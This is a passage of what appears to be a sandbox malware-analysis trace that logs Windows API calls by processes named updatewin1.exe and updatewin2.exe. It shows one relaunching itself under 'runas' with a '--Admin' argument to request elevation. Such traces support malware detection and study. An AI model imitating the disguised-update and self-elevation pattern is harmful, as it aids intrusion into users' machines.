2\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdc\x42\x7d\xa2\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0053.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0053.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xdc\x42\x7d\xa2\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0053.999] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x80) returned 0x5ba0d0 [0053.999] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe")) returned 0x5f [0053.999] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xc8) returned 0x5bc160 [0053.999] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0053.999] GetLastError () returned 0x0 [0053.999] SetLastError (dwErrCode=0x0) [0053.999] GetEnvironmentStringsW () returned 0x5bc230* [0053.999] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xaca) returned 0x5bcd08 [0053.999] FreeEnvironmentStringsW (penv=0x5bc230) returned 1 [0053.999] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x98) returned 0x5bc230 [0053.999] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3e) returned 0x5bd7f8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x6c) returned 0x5bc2d0 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x6e) returned 0x5bc348 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x78) returned 0x5a1180 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x62) returned 0x5bc3c0 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a52d0 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x5bc430 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x28) returned 0x5ba158 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1a) returned 0x5bbd10 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4a) returned 0x5bc480 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x72) returned 0x5a1200 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a5308 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a5340 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1c) returned 0x5bbd38 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xd2) returned 0x5bc4d8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x7c) returned 0x5bc5b8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x36) returned 0x5bc640 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3a) returned 0x5bd840 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x90) returned 0x5bc680 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5bc718 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a5378 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x36) returned 0x5bc748 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x5bc788 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x52) returned 0x5bc7d8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x5bd888 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x82) returned 0x5bc838 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a53b0 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1e) returned 0x5bbd60 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2c) returned 0x5a53e8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5bc8c8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x52) returned 0x5bc928 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2a) returned 0x5a5420 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x5bd8d0 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5bc988 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5bc9e8 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a5458 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x8c) returned 0x5bca18 [0054.000] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bcd08 | out: hHeap=0x590000) returned 1 [0054.000] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x800) returned 0x5bcab0 [0054.000] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.001] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0054.001] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0054.001] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" " [0054.001] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x5bd2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" [0054.001] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc0) returned 0x5bd388 [0054.001] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" [0054.001] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned 1 [0054.001] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0054.001] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0054.735] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bd388 | out: hHeap=0x590000) returned 1 [0054.736] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.736] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.736] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ba0d0 | out: hHeap=0x590000) returned 1 [0054.736] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bcab0 | out: hHeap=0x590000) returned 1 [0054.736] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.736] GetLastError () returned 0x57 [0054.736] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0054.736] ExitProcess (uExitCode=0x0) [0054.736] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ba9e8 | out: hHeap=0x590000) returned 1 [0054.739] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 52 os_tid = 0xb28 Thread: id = 53 os_tid = 0xb2c Thread: id = 55 os_tid = 0xb38 Thread: id = 56 os_tid = 0xb3c Process: id = "7" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe" page_root = "0x1dceb000" os_pid = "0xb20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xad8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0xb24 [0054.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xad198530, dwHighDateTime=0x1d54670)) [0054.007] GetCurrentProcessId () returned 0xb20 [0054.007] GetCurrentThreadId () returned 0xb24 [0054.007] GetTickCount () returned 0x1c5cd [0054.007] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17429641693) returned 1 [0054.019] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.019] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e50000 [0054.020] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.020] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.020] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.020] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.020] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.021] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.021] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.021] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.021] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.021] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.021] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.021] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.021] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.021] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.022] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.022] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.022] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.022] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.022] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.022] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.022] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.022] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x214) returned 0x1e507d0 [0054.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.023] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.023] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.023] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.023] GetCurrentThreadId () returned 0xb24 [0054.023] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.023] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x800) returned 0x1e509f0 [0054.023] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.023] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.023] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.023] SetHandleCount (uNumber=0x20) returned 0x20 [0054.023] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe\" " [0054.023] GetEnvironmentStringsW () returned 0x524e70* [0054.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.024] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x0, Size=0x565) returned 0x1e511f8 [0054.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e511f8, 